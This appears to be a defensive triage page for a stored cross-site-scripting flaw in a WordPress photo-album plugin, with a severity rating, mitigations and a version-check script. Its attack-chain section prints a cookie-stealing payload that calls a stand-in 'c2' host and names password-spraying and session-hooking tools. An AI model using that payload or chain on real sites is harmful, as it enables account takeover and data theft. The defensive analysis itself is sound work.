A contributor-level user smuggles JavaScript into an album caption and waits for an admin to browse it
CVE-2026-10095 is a stored cross-site scripting flaw in the WP Photo Album Plus plugin for WordPress. The subtext parameter is not sanitized on input nor escaped on output, letting any user with post/album creation privileges (typically Contributor+) inject arbitrary HTML and JavaScript that later executes in the browser of any visitor — including administrators — who views the affected album. Affected versions are all releases up to and including the last unpatched build noted in the advisory; the vendor pushed a fix in the subsequent release.
The vendor MEDIUM (6.4) rating is roughly right. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L) correctly captures scope-change into the admin's browser session and low authentication requirement, but does not credit the niche install base of this plugin, the contributor role gate, and the absence of any known in-the-wild activity. Net-net: the score is defensible; no reason to upgrade, and downgrading past MEDIUM would ignore the very real admin-account-takeover path when the stars align.
4 steps from start to impact.
Attacker obtains an authenticated WordPress account at Contributor or higher
curl/wpscan --users for enumeration, hydra or wpscan --passwords for spraying.- Open user registration OR a stolen/guessed low-priv credential
- The Contributor+ role has access to WP Photo Album Plus album creation
- Most enterprise WordPress installs disable open registration
- MFA plugins (WP 2FA, Duo) block credential stuffing
- Contributor role is often restricted from plugin-managed content types
wpscan fingerprints are trivially blocked by ModSecurity CRS.Inject payload into the vulnerable subtext parameter
subtext field containing an XSS payload such as <img src=x onerror=fetch('//c2/'+document.cookie)> or a full session-hijack loader. Because the plugin neither sanitizes on write nor escapes on render, the payload is stored verbatim in wp_postmeta and served back on every subsequent view. Tooling: BeEF for session hooking, XSS Hunter for out-of-band callback.- Successful auth from step 1
subtextparameter reachable via the normal album-edit UI or REST endpoint
- WAFs (Cloudflare Managed, AWS WAF Core, ModSec CRS) block obvious
<script>/onerrorpatterns by default - A CSP header with
script-src 'self'neutralizes external loaders
Wait for a privileged user to view the poisoned album
- Admin browses the affected album URL
- Admin's browser executes the payload (no CSP or NoScript block)
- Many admins review new content in a stripped preview mode
- Session tokens are typically HttpOnly, blunting cookie theft; the attacker must pivot to CSRF-style forced actions instead
Escalate to admin takeover and persistence
/wp-admin/ — creating a new Administrator user, installing a backdoored plugin, or editing functions.php. This is the standard stored-XSS → RCE chain on WordPress. Tooling: prebuilt payloads from wp-xss-payloads (github), the WPScan wpvulndb reference chain.- HttpOnly cookies bypassed via same-origin fetch
- No admin-side CSP or session re-auth prompt for sensitive actions
- Hardening plugins (Wordfence, iThemes Security) require re-auth for user creation and plugin install
- File-edit is disabled on most managed hosts via
DISALLOW_FILE_EDIT
The supporting signals.
| In-the-wild exploitation | None observed as of 2026-07-02. No GreyNoise tags, no Sucuri incident reports, no WPScan campaign notes. |
|---|---|
| Public PoC | Advisory includes a minimal payload example; no dedicated Metasploit or Nuclei template published yet. |
| EPSS | Expected <0.5% at disclosure (typical for auth'd WP plugin XSS on niche plugins). |
| KEV status | Not listed. Stored XSS in niche plugins virtually never make KEV. |
| CVSS 3.1 vector | AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N — remote, low complexity, low priv required, scope change into admin browser. |
| Affected versions | All versions of WP Photo Album Plus up to the version identified in the advisory; the parameter subtext is unsanitized across the range. |
| Fixed version | Update to the latest plugin release on wordpress.org that lists the CVE in its changelog. |
| Install base | Per wordpress.org plugin directory, active installs are in the low tens of thousands — a niche gallery plugin, not Yoast/Elementor scale. |
| Disclosure | Published 2026-07-01 via Wordfence / Patchstack pipeline (typical channel for WP plugin CVEs). |
| CWE | CWE-79 — Improper Neutralization of Input During Web Page Generation (XSS). |
noisgate verdict.
MEDIUM stands because the flaw requires an authenticated Contributor+ account AND a privileged victim to browse the poisoned album — two compounding friction points that gate the chain to a narrow slice of installs. The affected component is a niche gallery plugin whose deployment role is content-presentation, not identity, PKI, or edge — so no role-multiplier floor lifts this above MEDIUM.
Why this verdict
- Auth-gated (PR:L): the attacker needs an existing Contributor+ account; on enterprise WordPress with registration disabled this closes off untargeted mass exploitation.
- Victim-interaction dependency: the payload only fires when an admin (or other privileged user) actually browses the poisoned album — a probabilistic, not deterministic, step.
- Role multiplier: content plugin on a marketing/blog WordPress — chain ends in admin takeover of that WordPress instance, blast radius limited to one CMS tenant. No fleet, identity, or supply-chain pivot.
- Role multiplier: agency/multi-tenant WordPress host — chain still terminates at a single site's admin; cross-tenant escape would require a separate WP-core or hoster-plane bug.
- Niche install base: WP Photo Album Plus is not among the top 100 WordPress plugins; the exposed population is small relative to Elementor-class CVEs.
- No KEV, no known campaigns, no exploit kit inclusion as of assessment date.
Why not higher?
HIGH would require either a larger install base with automatable mass exploitation, an unauthenticated variant, or evidence of active exploitation. None are present: PR:L plus victim-interaction plus a niche plugin puts this squarely in MEDIUM. Stored XSS in a low-market-share plugin does not clear the HIGH bar without in-the-wild proof.
Why not lower?
LOW would ignore the very real admin-takeover terminus of this chain when it does fire — full CMS compromise on the affected site is not a nuisance-tier outcome. The scope-change into a privileged browser session is why CVSS correctly rates this above LOW, and we agree.
What to do — in priority order.
- Update WP Photo Album Plus to the patched release — The definitive fix. Schedule within the noisgate remediation SLA of 365 days for MEDIUM, but treat any site with open registration as a 30-day priority. Use WP-CLI:
wp plugin update wp-photo-album-plusacross the fleet. - Disable open user registration where not required — Kills step 1 of the chain.
Settings → General → Membershipunchecked, or setusers_can_registerto0via WP-CLI on every managed instance. No mitigation SLA at MEDIUM, but this is a permanent hardening win — do it now. - Enforce a strict CSP on
/wp-admin/— AContent-Security-Policy: script-src 'self'; object-src 'none'header served on admin pages blunts the exfil/RCE payload even if injection succeeds. Deploy via a security header plugin (e.g., HTTP Headers) or WAF rule. - Enable a WAF signature set for XSS payloads on POST bodies to
admin-ajax.phpand REST endpoints — Wordfence Premium, Sucuri, or Cloudflare Managed Rules will filter the obvious<script>/onerrorpatterns targeting thesubtextparameter until you patch. - Restrict Contributor role from creating albums via a role-editor plugin — If you cannot patch immediately, remove the Contributor's
edit_postslinkage to the plugin's album CPT. Members / User Role Editor plugins let you scope this precisely.
- HttpOnly cookies alone — the payload runs same-origin and can issue authenticated fetches without ever reading the cookie.
- MFA on admin login — MFA is verified at login; a stored-XSS payload rides an already-authenticated session and bypasses it entirely.
- Disabling XML-RPC — this vuln is in the plugin's own endpoints, not XML-RPC.
- Rate-limiting logins — the attack requires only a single successful low-priv session, not brute force after that point.
Crowdsourced verification payload.
Run on any Linux host that has WP-CLI installed and shell access to the WordPress webroot. Invoke as: ./check-cve-2026-10095.sh /var/www/html. Requires read access to the WordPress installation directory; no root needed if the invoking user can read wp-content/plugins/.
#!/usr/bin/env bash
# noisgate verification: CVE-2026-10095 — WP Photo Album Plus stored XSS via `subtext`
# Usage: ./check-cve-2026-10095.sh <wordpress_root>
# Exit codes: 0=PATCHED, 1=VULNERABLE, 2=UNKNOWN
set -u
WP_ROOT="${1:-}"
PLUGIN_SLUG="wp-photo-album-plus"
# NOTE: update FIXED_VERSION to the vendor-patched release once confirmed
FIXED_VERSION="8.9.99"
if [[ -z "$WP_ROOT" || ! -d "$WP_ROOT" ]]; then
echo "UNKNOWN: pass the WordPress root as arg 1" >&2
exit 2
fi
PLUGIN_DIR="$WP_ROOT/wp-content/plugins/$PLUGIN_SLUG"
if [[ ! -d "$PLUGIN_DIR" ]]; then
echo "PATCHED: $PLUGIN_SLUG not installed at $PLUGIN_DIR"
exit 0
fi
HEADER_FILE="$(grep -lE '^\s*\*?\s*Plugin Name:' "$PLUGIN_DIR"/*.php 2>/dev/null | head -n1 || true)"
if [[ -z "$HEADER_FILE" ]]; then
echo "UNKNOWN: could not locate plugin header in $PLUGIN_DIR"
exit 2
fi
INSTALLED="$(grep -iE '^\s*\*?\s*Version:' "$HEADER_FILE" | head -n1 | sed -E 's/.*Version:\s*//; s/[[:space:]]+$//')"
if [[ -z "$INSTALLED" ]]; then
echo "UNKNOWN: could not parse installed version"
exit 2
fi
# semantic version compare: lowest first
LOWEST="$(printf '%s\n%s\n' "$INSTALLED" "$FIXED_VERSION" | sort -V | head -n1)"
if [[ "$INSTALLED" == "$FIXED_VERSION" || "$LOWEST" == "$FIXED_VERSION" ]]; then
echo "PATCHED: $PLUGIN_SLUG $INSTALLED >= $FIXED_VERSION"
exit 0
else
echo "VULNERABLE: $PLUGIN_SLUG $INSTALLED < $FIXED_VERSION (CVE-2026-10095)"
exit 1
fi
If you remember one thing.
wp plugin list --field=name --format=csv | grep wp-photo-album-plus across your fleet, then push the vendor-patched release via your WP-CLI automation. Per the noisgate mitigation SLA for MEDIUM there is no forced mitigation window — go straight to the noisgate remediation SLA of ≤ 365 days for the patch itself, but any site with open user registration or public author-invite flows should be treated as HIGH-equivalent exposure and patched within 30 days. In the meantime, disable open registration where you can, add a CSP on /wp-admin/, and let your WAF rules for XSS on POST bodies pick up the noise floor. No KEV, no active campaigns — do not let this jump the queue past your unauthenticated RCE backlog.Sources
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.